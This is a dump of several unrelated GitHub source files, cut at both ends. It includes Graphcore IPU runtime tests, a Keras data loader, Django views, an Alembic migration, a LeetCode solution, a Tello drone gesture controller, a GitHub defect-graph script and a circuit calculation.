embedded_runtime.embedded_runtime_call([input_data], ctx)\n outputs1 = sess.run(\n result,\n feed_dict={input_data: np.full([2, 2], 1.0, dtype=np.float32)})\n self.assertAllClose(outputs1[0], 8.)\n outputs2 = sess.run(\n result,\n feed_dict={input_data: np.full([2, 2], 2.0, dtype=np.float32)})\n self.assertAllClose(outputs2[0], 16.)\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_io_overlap_flush(self):\n dataset = tu.create_single_increasing_dataset(5, shape=[2])\n dataset = dataset.batch(batch_size=2, drop_remainder=True)\n\n infeed_queue = ipu_infeed_queue.IPUInfeedQueue(dataset)\n outfeed_queue = ipu_outfeed_queue.IPUOutfeedQueue()\n\n def body(x):\n x = x @ constant_op.constant(1.0, shape=[2, 2])\n x = math_ops.reduce_sum(x)\n return outfeed_queue.enqueue(x)\n\n def my_net():\n return loops.repeat(10, body, [], infeed_queue)\n\n with tu.ipu_session() as sess:\n cfg = config.IPUConfig()\n cfg.auto_select_ipus = 1\n cfg.io_tiles.num_io_tiles = 32\n cfg.io_tiles.place_ops_on_io_tiles = True\n tu.add_hw_ci_connection_options(cfg)\n cfg.configure_ipu_system()\n\n with tempfile.TemporaryDirectory() as tmp_dir:\n poplar_exec_filepath = os.path.join(tmp_dir, \"application.poplar_exec\")\n\n compile_op = application_compile_op.experimental_application_compile_op(\n my_net, output_path=poplar_exec_filepath)\n sess.run(compile_op)\n config.reset_ipu_configuration()\n\n ctx = embedded_runtime.embedded_runtime_start(poplar_exec_filepath, [],\n \"io_overlap_flush\")\n input_data = array_ops.placeholder(np.float32, shape=[2, 2])\n result = embedded_runtime.embedded_runtime_call([input_data], ctx)\n outputs1 = sess.run(\n result,\n feed_dict={input_data: np.full([2, 2], 1.0, dtype=np.float32)})\n self.assertAllClose(outputs1[0], 8.)\n outputs2 = sess.run(\n result,\n feed_dict={input_data: np.full([2, 2], 2.0, dtype=np.float32)})\n self.assertAllClose(outputs2[0], 16.)\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_multiple_infeeds(self):\n a = np.array([2, 3], dtype='float32')\n b = np.array([4, 5], dtype='float32')\n c = np.array([6, 7], dtype='float32')\n\n ds = dataset_ops.Dataset.from_tensor_slices((a, b, c))\n ds = ds.cache().repeat().batch(2, drop_remainder=True)\n\n infeed_queue = ipu_infeed_queue.IPUInfeedQueue(ds)\n outfeed_queue = ipu_outfeed_queue.IPUOutfeedQueue()\n\n def my_net(outq, a, b, c):\n return outq.enqueue({'result': a * b + c})\n\n model = partial(my_net, outfeed_queue)\n model = partial(loop_builder, 1, model, infeed_queue)\n\n a_ph = array_ops.placeholder(dtypes.float32, shape=(2), name='a')\n b_ph = array_ops.placeholder(dtypes.float32, shape=(2), name='b')\n c_ph = array_ops.placeholder(dtypes.float32, shape=(2), name='c')\n\n with tu.ipu_session() as sess, tempfile.TemporaryDirectory() as tmp_dir:\n cfg = config.IPUConfig()\n cfg.auto_select_ipus = 1\n tu.add_hw_ci_connection_options(cfg)\n cfg.configure_ipu_system()\n\n poplar_exec_filepath = os.path.join(\n tmp_dir, f'application_{self.id()}.poplar_exec')\n\n compile_op = application_compile_op.experimental_application_compile_op(\n model, output_path=poplar_exec_filepath)\n sess.run(compile_op)\n config.reset_ipu_configuration()\n\n ctx = embedded_runtime.embedded_runtime_start(poplar_exec_filepath, [],\n \"multiple_infeeds\")\n result = embedded_runtime.embedded_runtime_call([a_ph, b_ph, c_ph], ctx)\n outputs = sess.run(result, feed_dict={a_ph: a, b_ph: b, c_ph: c})\n\n self.assertAllClose(outputs[0], [14, 22])\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_embedded_runtime_exception(self):\n # The dataset for feeding the graphs.\n ds = dataset_ops.Dataset.from_tensors(constant_op.constant(1.0, shape=[1]))\n ds = ds.repeat()\n\n # The host side queues.\n infeed_queue = ipu_infeed_queue.IPUInfeedQueue(ds)\n outfeed_queue = ipu_outfeed_queue.IPUOutfeedQueue()\n\n def body(x):\n return outfeed_queue.enqueue(12.0 / x)\n\n # Wrap in a loop.\n def my_net():\n r = loops.repeat(16, body, [], infeed_queue)\n return r\n\n def exception_executable(tmp_dir):\n poplar_exec_filepath = os.path.join(tmp_dir.name,\n \"application.poplar_exec\")\n\n cfg = config.IPUConfig()\n cfg.auto_select_ipus = 1\n cfg.floating_point_behaviour.div0 = True\n tu.add_hw_ci_connection_options(cfg)\n cfg.configure_ipu_system()\n\n # Compile the application.\n compile_op = application_compile_op.experimental_application_compile_op(\n my_net, output_path=poplar_exec_filepath)\n with sl.Session() as sess:\n sess.run(compile_op)\n config.reset_ipu_configuration()\n\n return poplar_exec_filepath\n\n tmp_dir_obj = tempfile.TemporaryDirectory()\n poplar_exec_filepath = exception_executable(tmp_dir_obj)\n\n engine_name = f'engine_{self.id()}'\n ctx = embedded_runtime.embedded_runtime_start(poplar_exec_filepath, [],\n engine_name)\n result = embedded_runtime.embedded_runtime_call(\n [np.zeros((1), dtype=np.float32)], ctx)\n\n with sl.Session() as sess:\n with self.assertRaisesRegex(\n errors.InternalError,\n r\"\\[Poplar\\]\\[Execute engine\\] application_runtime_error: \\[Recovery \"\n r\"action: IPU_RESET\\] Tiles in excepted state [\\s\\S]* IPU will be \"\n r\"reset the next time a program is executed.\"):\n sess.run(result)\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_reset_engine(self):\n # The dataset for feeding the graphs.\n ds = dataset_ops.Dataset.from_tensors(constant_op.constant(1.0, shape=[1]))\n ds = ds.repeat()\n\n # The host side queues.\n infeed_queue = ipu_infeed_queue.IPUInfeedQueue(ds)\n outfeed_queue = ipu_outfeed_queue.IPUOutfeedQueue()\n\n def body(x):\n return outfeed_queue.enqueue(12.0 / x)\n\n # Wrap in a loop.\n def my_net():\n r = loops.repeat(16, body, [], infeed_queue)\n return r\n\n def exception_executable(tmp_dir):\n poplar_exec_filepath = os.path.join(tmp_dir.name,\n \"application.poplar_exec\")\n\n cfg = config.IPUConfig()\n cfg.auto_select_ipus = 1\n cfg.floating_point_behaviour.div0 = True\n tu.add_hw_ci_connection_options(cfg)\n cfg.configure_ipu_system()\n\n # Compile the application.\n compile_op = application_compile_op.experimental_application_compile_op(\n my_net, output_path=poplar_exec_filepath)\n with sl.Session() as sess:\n sess.run(compile_op)\n config.reset_ipu_configuration()\n\n return poplar_exec_filepath\n\n tmp_dir_obj = tempfile.TemporaryDirectory()\n poplar_exec_filepath = exception_executable(tmp_dir_obj)\n\n engine_name = f'engine_{self.id()}'\n ctx = embedded_runtime.embedded_runtime_start(poplar_exec_filepath, [],\n engine_name)\n input_data = array_ops.placeholder(np.float32, shape=[1])\n result = embedded_runtime.embedded_runtime_call([input_data], ctx)\n\n with sl.Session() as sess:\n # Second to last execution will fail, the last execution should pass.\n inputs = [1.0] * 3 + [0.0, 1.0]\n failures = [False] * 3 + [True, False]\n for val, should_fail in zip(inputs, failures):\n failed = False\n try:\n x = sess.run(result, {input_data: [val]})\n self.assertEqual(x, [12.0])\n except: # pylint: disable=bare-except\n failed = True\n self.assertEqual(failed, should_fail)\n\n @tu.test_uses_ipus(num_ipus=1)\n @test_util.deprecated_graph_mode_only\n def test_large_input_count(self):\n loop_count = 16\n\n ds = dataset_ops.Dataset.from_tensors(\n tuple([\n np.ones(()).astype(np.float32),\n np.ones((1, 5)).astype(np.float32),\n np.ones((5, 1)).astype(np.float32),\n np.ones(()).astype(np.float32),\n np.ones(()).astype(np.float32),\n np.ones(()).astype(np.float32),\n np.ones(()).astype(np.float32),\n np.ones(()).astype(np.float32),\n np.ones(()).astype(np.float32),\n np.ones(()).astype(np.float32),\n np.ones(()).astype(np.float32),\n np.ones(()).astype(np.float32),\n ]))\n ds = ds.repeat()\n\n # The host side queues.\n infeed_queue = ipu_infeed_queue.IPUInfeedQueue(ds)\n outfeed_queue = ipu_outfeed_queue.IPUOutfeedQueue()\n\n # The device side main.\n def body(inputs_0, inputs_1, inputs_2, inputs_3, inputs_4, inputs_5,\n inputs_6, inputs_7, inputs_8, inputs_9, inputs_10, inputs_11):\n result = inputs_0\n result = result + math_ops.matmul(inputs_1, inputs_2)\n result = result + inputs_3\n result = result + inputs_4\n result = result + inputs_5\n result = result + inputs_6\n result = result + inputs_7\n result = result + inputs_8\n result = result + inputs_9\n result = result + inputs_10\n result = result + inputs_11\n\n outfeed = outfeed_queue.enqueue({'result': result})\n return outfeed\n\n # Wrap in a loop.\n def my_net():\n r = loops.repeat(loop_count, body, [], infeed_queue)\n return r\n\n # Configure the IPU for compilation.\n cfg = config.IPUConfig()\n cfg.auto_select_ipus = 1\n tu.add_hw_ci_connection_options(cfg)\n cfg.configure_ipu_system()\n\n # Setup a temporary directory to store the executable.\n tmp_dir_obj = tempfile.TemporaryDirectory()\n tmp_dir = tmp_dir_obj.name\n poplar_exec_filepath = os.path.join(tmp_dir, \"application.poplar_exec\")\n\n # Compile the application.\n compile_op = application_compile_op.experimental_application_compile_op(\n my_net, output_path=poplar_exec_filepath)\n\n with sl.Session() as sess:\n sess.run(compile_op)\n\n # Create the start op.\n # This creates the poplar engine in a background thread.\n engine_name = \"my_engine\"\n ctx = embedded_runtime.embedded_runtime_start(poplar_exec_filepath, [],\n engine_name)\n\n # Create the call op and the input placeholder.\n input_placeholder_0 = array_ops.placeholder(np.float32, shape=[])\n input_placeholder_1 = array_ops.placeholder(np.float32, shape=[1, 5])\n input_placeholder_2 = array_ops.placeholder(np.float32, shape=[5, 1])\n input_placeholder_3 = array_ops.placeholder(np.float32, shape=[])\n input_placeholder_4 = array_ops.placeholder(np.float32, shape=[])\n input_placeholder_5 = array_ops.placeholder(np.float32, shape=[])\n input_placeholder_6 = array_ops.placeholder(np.float32, shape=[])\n input_placeholder_7 = array_ops.placeholder(np.float32, shape=[])\n input_placeholder_8 = array_ops.placeholder(np.float32, shape=[])\n input_placeholder_9 = array_ops.placeholder(np.float32, shape=[])\n input_placeholder_10 = array_ops.placeholder(np.float32, shape=[])\n input_placeholder_11 = array_ops.placeholder(np.float32, shape=[])\n\n call_result = embedded_runtime.embedded_runtime_call([\n input_placeholder_0, input_placeholder_1, input_placeholder_2,\n input_placeholder_3, input_placeholder_4, input_placeholder_5,\n input_placeholder_6, input_placeholder_7, input_placeholder_8,\n input_placeholder_9, input_placeholder_10, input_placeholder_11\n ], ctx)\n\n for _ in range(loop_count):\n with sl.Session() as sess:\n # Expect execution without throwing an exception.\n sess.run(call_result,\n feed_dict={\n input_placeholder_0: np.ones(()).astype(np.float32),\n input_placeholder_1: np.ones((1, 5)).astype(np.float32),\n input_placeholder_2: np.ones((5, 1)).astype(np.float32),\n input_placeholder_3: np.ones(()).astype(np.float32),\n input_placeholder_4: np.ones(()).astype(np.float32),\n input_placeholder_5: np.ones(()).astype(np.float32),\n input_placeholder_6: np.ones(()).astype(np.float32),\n input_placeholder_7: np.ones(()).astype(np.float32),\n input_placeholder_8: np.ones(()).astype(np.float32),\n input_placeholder_9: np.ones(()).astype(np.float32),\n input_placeholder_10: np.ones(()).astype(np.float32),\n input_placeholder_11: np.ones(()).astype(np.float32),\n })\n\n\nif __name__ == \"__main__\":\n googletest.main()\n","repo_name":"graphcore/tensorflow","sub_path":"tensorflow/python/ipu/tests/application_runtime_test.py","file_name":"application_runtime_test.py","file_ext":"py","file_size_in_byte":38596,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"3"} +{"seq_id":"8466533631","text":"from tensorflow.keras.utils import to_categorical, Sequence\nimport math\nimport os\nimport numpy as np\n\nclass MSDSequence(Sequence):\n def __init__(self, sample_list, data_path, batch_size, sample_size):\n self.sample_list = sample_list\n self.data_path = data_path\n self.batch_size = batch_size\n self.sample_size = sample_size\n\n def __len__(self):\n return math.ceil(self.sample_size / self.batch_size)\n \n def __load_data(self, image_file_path, label_file_path):\n with open(image_file_path, 'rb') as f:\n X = np.load(f)\n with open(label_file_path, 'rb') as f:\n y = np.load(f)\n\n return X,y\n\n def __getitem__(self, idx):\n batch_list = self.sample_list[idx * self.batch_size:(idx + 1) * self.batch_size]\n batch_x = []\n batch_y = []\n \n for item in batch_list:\n image_path = os.path.join(self.data_path, item['image'])\n label_path = os.path.join(self.data_path, item['label'])\n \n if os.path.exists(image_path) and os.path.exists(label_path):\n X, y = self.__load_data( \\\n os.path.join(self.data_path, item['image']), \\\n os.path.join(self.data_path, item['label']), \\\n )\n\n batch_x.append(X)\n batch_y.append(y)\n\n return np.array(batch_x), np.array(batch_y)","repo_name":"vquanghuy/mri-image-segmentation","sub_path":"MSDSequence.py","file_name":"MSDSequence.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"10730943263","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.urls import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.http import require_GET, require_POST, require_http_methods\nfrom django.http import JsonResponse\nfrom django.contrib import messages\nfrom utils.decorators import chemist_required\nimport json\nfrom django.utils.translation import gettext_lazy as _\nfrom ratelimit.decorators import ratelimit\n\nfrom .services import calculate_predictions, save_experimental_data, get_data_validate_suggestion_page, get_my_suggestions_suggestion_page \nfrom .models import Suggestion\nfrom .validation import SubmitDataForm, DataValidateForm, MySuggestionsForm, predict_validation, submit_data_validation\nfrom utils.utils import get_client_ip, BreadcrumbItem\nfrom phototox.local_settings import logger\n\n\n@require_GET\ndef index(request):\n return render(request, \"index.html\")\n\n\n@require_http_methods([\"GET\", \"POST\"])\n@ratelimit(key=\"ip\", rate=\"20/1m\", method=\"POST\")\ndef predict(request):\n context = {\n \"breadcrumb_list\": [BreadcrumbItem(display_name=_(\"Home\"), url_path_name=\"index\"),\n BreadcrumbItem(display_name=_(\"Predict\"), url_path_name=\"predict\")]\n }\n\n if request.method == \"POST\":\n was_limited = getattr(request, \"limited\", False)\n\n if was_limited:\n if request.user.is_authenticated:\n logger.warning(f\"limited predict request | ip: {get_client_ip(request)} | email: {request.user.email}\")\n else:\n logger.warning(f\"limited predict request | ip: {get_client_ip(request)} | unauthenticated user\")\n \n messages.add_message(request, messages.ERROR, _(\"Too many attempts. Try again later.\"))\n return render(request, \"predict.html\", context, status=422)\n\n smiles_strings = request.POST.getlist(\"smiles\")\n is_valid_form, validated_smiles_strings = predict_validation(request, smiles_strings)\n\n if not is_valid_form and not validated_smiles_strings:\n return render(request, \"predict.html\", context, status=422)\n\n if not is_valid_form:\n context[\"data\"] = zip(smiles_strings, validated_smiles_strings)\n return render(request, \"predict.html\", context, status=422)\n\n predictions = calculate_predictions(smiles_strings)\n\n context = {\n \"predictions\": predictions,\n \"breadcrumb_list\": [BreadcrumbItem(display_name=_(\"Home\"), url_path_name=\"index\"),\n BreadcrumbItem(display_name=_(\"Predict\"), url_path_name=\"predict\"),\n BreadcrumbItem(display_name=_(\"Results\"), url_path_name=\"\")],\n \"message_thank\": _(\"Thank you for your submission!\"),\n \"message_oops\": _(\"Oops, something went wrong\")\n }\n\n return render(request, \"prediction_results.html\", context)\n\n else:\n return render(request, \"predict.html\", context)\n\n\n@require_http_methods([\"GET\", \"POST\"])\n@login_required\ndef submit_data(request):\n if request.method == \"POST\":\n smiles_strings = request.POST.getlist(\"smiles\")\n test_types = request.POST.getlist(\"test_type\")\n results = request.POST.getlist(\"result\")\n url = request.POST.get(\"url\")\n\n if not smiles_strings or not test_types or not results or url is None:\n context[\"is_url_valid\"] = True\n logger.warning(f\"submit_data() suspicious request: empty variables | ip {get_client_ip(request)} | email {request.user.email}\")\n return JsonResponse({}, status=422)\n\n if not (len(smiles_strings) == len(test_types) == len(results)):\n context[\"is_url_valid\"] = True\n logger.warning(f\"submit_data() suspicious request: lists of different lengths | ip {get_client_ip(request)} | email {request.user.email}\")\n return JsonResponse({}, status=422)\n\n if len(smiles_strings) > 100:\n context[\"is_url_valid\"] = True\n logger.warning(f\"submit_data() suspicious request: smiles_strings length > 100 | ip {get_client_ip(request)} | email {request.user.email}\")\n return JsonResponse({}, status=422)\n\n is_valid_form, is_smiles_valid_list, is_url_valid = submit_data_validation(request, smiles_strings, test_types, results, url)\n\n context = {\"breadcrumb_list\": [BreadcrumbItem(display_name=_(\"Home\"),\n url_path_name=\"index\"),\n BreadcrumbItem(display_name=_(\"Submit data\"),\n url_path_name=\"submit-data\")],\n }\n\n if not is_valid_form:\n context[\"data\"] = zip(smiles_strings, test_types, results, is_smiles_valid_list)\n context[\"url\"] = url\n context[\"is_url_valid\"] = is_url_valid\n return render(request, \"submit_data.html\", context, status=422)\n\n save_experimental_data(request.user, smiles_strings, test_types, results, url)\n\n messages.add_message(request, messages.SUCCESS, _(\"Successful submission.\"))\n return redirect(reverse(\"submit-data\"))\n\n else:\n context = {\n \"breadcrumb_list\": [BreadcrumbItem(display_name=_(\"Home\"),\n url_path_name=\"index\"),\n BreadcrumbItem(display_name=_(\"Submit data\"),\n url_path_name=\"submit-data\")],\n \"is_url_valid\": True,\n }\n\n return render(request, \"submit_data.html\", context)\n\n\n@require_POST\n@login_required\ndef correct_prediction(request):\n if request.method == \"POST\":\n body = json.loads(request.body)\n smiles_string = body.get(\"smilesString\")\n test_type = body.get(\"testType\")\n correct_result = body.get(\"correctResult\")\n url = body.get(\"url\")\n form = SubmitDataForm({\"smiles_string\": smiles_string, \"is_PT\": correct_result, \"test_type\": test_type, \"url\": url})\n\n if form.is_valid():\n save_experimental_data(request.user, [smiles_string], [test_type], [correct_result], url)\n return JsonResponse({}, status=200)\n else:\n return JsonResponse({}, status=422)\n\n\n@require_GET\n@login_required\n@chemist_required\ndef data_validate_index(request):\n result = request.GET.get(\"result\")\n test_type = request.GET.get(\"test_type\")\n page = request.GET.get(\"page\", 1)\n form = DataValidateForm({\"is_PT\": result, \"test_type\": test_type, \"page\": page})\n\n if not form.is_valid():\n logger.warning(f\"data_validate_index() suspicious request: {result}, {test_type}, {page} | ip {get_client_ip(request)} | email {request.user.email}\")\n return JsonResponse({}, status=422)\n\n suggestion_page = get_data_validate_suggestion_page(result, test_type, page, 10)\n\n context = {\n \"suggestion_page\": suggestion_page,\n \"breadcrumb_list\": [BreadcrumbItem(display_name=_(\"Home\"),\n url_path_name=\"index\"),\n BreadcrumbItem(display_name=_(\"Validate data\"),\n url_path_name=\"data-validate-index\")],\n \"message_thank\": _(\"Thank you for your submission!\"),\n \"message_oops\": _(\"Oops, something went wrong\")\n }\n\n if request.is_ajax():\n return render(request, \"suggestion_pages.html\", context)\n else:\n return render(request, \"data_validation.html\", context)\n\n\n@login_required\n@chemist_required\ndef data_validate_delete_suggestion(request, suggestion_id: int):\n if request.method == \"DELETE\":\n suggestion = get_object_or_404(Suggestion, pk=suggestion_id)\n suggestion.is_deleted = True\n suggestion.save()\n return JsonResponse({}, status=200)\n\n\n@login_required\n@chemist_required\ndef data_validate_patch_suggestion(request, suggestion_id: int):\n if request.method == \"PATCH\":\n suggestion = get_object_or_404(Suggestion, pk=suggestion_id)\n suggestion.is_validated = True\n suggestion.save()\n return JsonResponse({}, status=200)\n\n\n@require_GET\n@login_required\ndef my_suggestions_index(request):\n page = request.GET.get(\"page\", 1)\n form = MySuggestionsForm({\"page\": page})\n\n if not form.is_valid():\n logger.warning(f\"my_suggestions_index() suspicious request: {page} | ip {get_client_ip(request)} | email {request.user.email}\")\n return JsonResponse({}, status=422)\n \n suggestion_page = get_my_suggestions_suggestion_page(request.user, page, 10)\n\n context = {\n \"suggestion_page\": suggestion_page,\n \"breadcrumb_list\": [BreadcrumbItem(display_name=_(\"Home\"),\n url_path_name=\"index\"),\n BreadcrumbItem(display_name=_(\"My submissions\"),\n url_path_name=\"data-my-submissions\")]\n }\n\n return render(request, \"my_submissions.html\", context)","repo_name":"patrikpp/projects","sub_path":"full_stack_web_app/src/compound_analyzer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71134965203","text":"import readline\nimport re\n\ndef repeated(line):\n rx = re.compile(r'(.)\\1{1,}')\n\n groups = re.findall(rx, line)\n\n for group in groups:\n print(group)\n\n\nif __name__ == '__main__':\n while(True):\n line = input('line: ')\n\n if(line == 'q'):\n break \n \n repeated(line)\n print()\n ","repo_name":"maldonadoq/compilers","sub_path":"practice2/repeat.py","file_name":"repeat.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71491610962","text":"\"\"\"update SyncBlockModel1\n\nRevision ID: 389c011f2e53\nRevises: 19ac37e57294\nCreate Date: 2019-01-02 16:08:32.957829\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '389c011f2e53'\ndown_revision = '19ac37e57294'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index('coin_id', table_name='sync_block')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_index('coin_id', 'sync_block', ['coin_id'], unique=True)\n # ### end Alembic commands ###\n","repo_name":"BigJeffWang/blockchain-py","sub_path":"TokenPark/alembic/versions/201901021608_389c011f2e53_update_syncblockmodel1.py","file_name":"201901021608_389c011f2e53_update_syncblockmodel1.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20850677621","text":"from typing import List\nclass Solution:\n def intervalIntersection(self, firstList: List[List[int]], secondList: List[List[int]]) -> List[List[int]]:\n answer = []\n i, j = 0, 0\n\n while i < len(firstList) and j < len(secondList):\n \n left, right = max(firstList[i][0], secondList[j][0]), min(firstList[i][1], secondList[j][1])\n \n # 겹치는지 여부\n if left <= right:\n answer.append([left, right])\n\n if firstList[i][1] < secondList[j][1]:\n i += 1\n else:\n j += 1\n return answer\n \na = Solution()\nprint(a.intervalIntersection([[0,2],[5,10],[13,23],[24,25]], [[1,5],[8,12],[15,24],[25,26]]))","repo_name":"study-algorithms/PS-study","sub_path":"project2/week1/Kyunghwan/leetcode_986.interval_list_intersections.py","file_name":"leetcode_986.interval_list_intersections.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19131985425","text":"import cv2\nimport time\nimport math\nfrom handRecognition.HandTrackingModule import HandDetector\nimport djitellopy as tello\n\n# throwaway func, called when nothing is to do once slidebar is updated.\ndef nothing(x):\n pass\n\n# class in charge of drone movement\nclass Drone:\n def __init__(self, drone, mv_speed, yaw_speed):\n self.tello = drone\n self.mv_speed = mv_speed\n self.yaw_speed = yaw_speed\n self.depth_speed = 0\n\n # Drone velocities between -100~100\n self.for_back_velocity = 0\n self.left_right_velocity = 0\n self.up_down_velocity = 0\n self.yaw_velocity = 0\n\n # attribute if you want to maually disable drone movement\n self.send_rc_control = True\n\n # return image from drone\n def get_image(self):\n img = self.tello.get_frame_read().frame\n return img\n\n # func is called every cycle, sends movement command to drone based on input and state\n def update(self, mv_angle, depth, yaw_angle):\n if mv_angle:\n self.left_right_velocity = int(math.cos(mv_angle) * self.mv_speed)\n self.up_down_velocity = int(math.sin(mv_angle) * self.mv_speed)\n else:\n self.left_right_velocity = 0\n self.up_down_velocity = 0\n\n if yaw_angle:\n self.yaw_velocity = (int(math.cos(yaw_angle) * self.yaw_speed))\n else:\n self.yaw_velocity = 0\n\n if depth:\n self.for_back_velocity = int(depth * self.depth_speed * 10)\n else:\n self.for_back_velocity = 0\n\n if self.send_rc_control:\n self.tello.send_rc_control(self.left_right_velocity, self.for_back_velocity,\n self.up_down_velocity, self.yaw_velocity)\n\n # called when speed sidebar is updated. handles update\n def update_speed(self, _, yaw_speed=None, depth_speed=None, mv_speed=None):\n try:\n if yaw_speed:\n self.yaw_speed = yaw_speed\n else:\n self.yaw_speed = cv2.getTrackbarPos('yaw_speed', 'image')\n if depth_speed:\n self.depth_speed = depth_speed\n else:\n self.depth_speed = cv2.getTrackbarPos('depth_speed', 'image')\n\n if mv_speed:\n self.mv_speed = mv_speed\n else:\n self.mv_speed = cv2.getTrackbarPos('mv_speed', 'image')\n self.tello.set_speed(self.mv_speed)\n except:\n pass\n\n # called when flight state is updated. handles update.\n def update_state(self, _):\n if cv2.getTrackbarPos('takeoff', 'image') == 1:\n print(\"takeoff\")\n self.tello.takeoff()\n else:\n print(\"land\")\n self.tello.land()\n\n # main func for drone management, main loop:\n def run(self):\n # tracking fps variables\n p_time = 0\n c_time = 0\n\n # object responsible for hand detection calculations\n detector = HandDetector(min_tracking_confidence=0.5, min_detection_confidence=0.5, max_num_hands=1, static_image_mode=False)\n\n # initiallize connection with drone\n self.tello.connect()\n self.tello.streamon()\n self.update_speed(0, mv_speed=self.mv_speed, yaw_speed=self.yaw_speed)\n print(f\"battery: {self.tello.get_battery()}%\")\n\n # cv2\n cv2.namedWindow('image')\n cv2.createTrackbar('mv_speed', 'image', self.mv_speed, 100, self.update_speed)\n cv2.createTrackbar('depth_speed', 'image', 0, 100, self.update_speed)\n cv2.createTrackbar('yaw_speed', 'image', self.yaw_speed, 100, self.update_speed)\n cv2.createTrackbar('movement/yaw', 'image', 0, 1, nothing)\n cv2.createTrackbar('takeoff', 'image', 0, 1, self.update_state)\n\n while True:\n # check if window is still open\n if cv2.getWindowProperty('image', cv2.WND_PROP_VISIBLE) < 1:\n break\n\n # capture image\n img = self.get_image()\n\n # parse image\n img = detector.find_hands(img)\n lm_list0 = detector.find_position(img, 0)\n\n # update drone\n if cv2.getTrackbarPos('takeoff', 'image') == 1:\n angle = find_angle(lm_list0) if lm_list0 else None\n if cv2.getTrackbarPos('movement/yaw', 'image') == 0:\n self.update(angle, detector.find_depth(8), None)\n else:\n self.update(None, None, angle)\n\n # calculate fps\n c_time = time.time()\n fps = 1 / (c_time - p_time)\n p_time = c_time\n cv2.putText(img,\n f\"fps: {int(fps)}, lr: {self.left_right_velocity}, fb: {self.for_back_velocity}, ud: {self.up_down_velocity}, yaw: {self.yaw_velocity}\",\n (10, 30), cv2.FONT_ITALIC, 0.5, (255, 255, 255), 1)\n\n # display image\n cv2.imshow(\"image\", img)\n cv2.waitKey(1)\n\n self.tello.streamoff()\n print(\"end of session\")\n\n# gets list if limbs and returns in radians angle of index finger relative to palm\ndef find_angle(lm_list):\n if lm_list is not None:\n return math.atan2(lm_list[0][2] - lm_list[8][2], lm_list[8][1] - lm_list[0][1])\n print(\"lm_list is None\")\n return None\n\n\ndef main():\n # drone startup\n drone = Drone(tello.Tello(), 25, 15)\n drone.run()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"irisberger18/Laboratory-Project","sub_path":"handRecognition/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24841720244","text":"import os\nimport subprocess\nfrom github import Github\nimport matplotlib.pyplot as plt\nfrom collections import defaultdict\nfrom datetime import datetime\n\ndef get_github_repo_name():\n remote_url = subprocess.check_output([\"git\", \"config\", \"--get\", \"remote.origin.url\"]).decode(\"utf-8\").strip()\n remote_url_parts = remote_url.split(\"/\")\n repo_name = remote_url_parts[-1].split(\".\")[0]\n username = remote_url_parts[-2].split(\":\")[-1]\n return f\"{username}/{repo_name}\"\n\naccess_token = os.environ[\"GITHUB_TOKEN\"]\ng = Github(access_token)\n\nrepo_name = get_github_repo_name()\nrepo = g.get_repo(repo_name)\n\nissues = repo.get_issues(state=\"all\", labels=[\"bug\"])\n\ndaily_issue_count = defaultdict(int)\nfor issue in issues:\n created_at = issue.created_at.date()\n daily_issue_count[created_at] += 1\n\ndates = sorted(daily_issue_count.keys())\ncounts = [daily_issue_count[date] for date in dates]\n\ncumulative_counts = [sum(counts[:i+1]) for i in range(len(counts))]\n\nplt.plot(dates, cumulative_counts, marker='o')\nplt.xlabel('Date')\nplt.ylabel('Number of Defects')\nplt.title(f'Defect Arrival Graph for {repo_name}')\nplt.xticks(rotation=45)\nplt.tight_layout()\nplt.show()\n","repo_name":"NajiaSb/Microblog-Project","sub_path":"dag.py","file_name":"dag.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27347842604","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport sys\nimport os\nimport random\nfrom matplotlib.backends import qt_compat\nuse_pyside = qt_compat.QT_API == qt_compat.QT_API_PYSIDE\nif use_pyside:\n from PySide import QtGui, QtCore\nelse:\n from PyQt4 import QtGui, QtCore\n\nfrom numpy import arange, sin, pi\nfrom matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.figure import Figure\n\nimport SchemDraw as schem\nimport SchemDraw.elements as e\n\nprogname = os.path.basename(sys.argv[0])\nprogversion = \"0.1\"\n\nVin = 5 #volts\nR1 = 220 # R103\nR2 = 100 # R103\nR3 = 50 # R103\nRg = 0.1 #ohms\n\nI1 = Vin / (R1+R2) # offset current\nI2 = Vin / (R3+Rg)\n\nprint(\"R1=%.2f R2=%.2f R3=%.2f Rg=%.2f\" % (R1, R2, R3, Rg))\nprint(\"Current for node I1 is:\",I1)\nprint(\"Current for node I2 is:\",I2)\n\nC_v = Vin*(R2/(R1+R2)) #V3 = I1*R3 = A\nD_v = Vin*(Rg/(R3+Rg)) #Vg = I2*Rs = 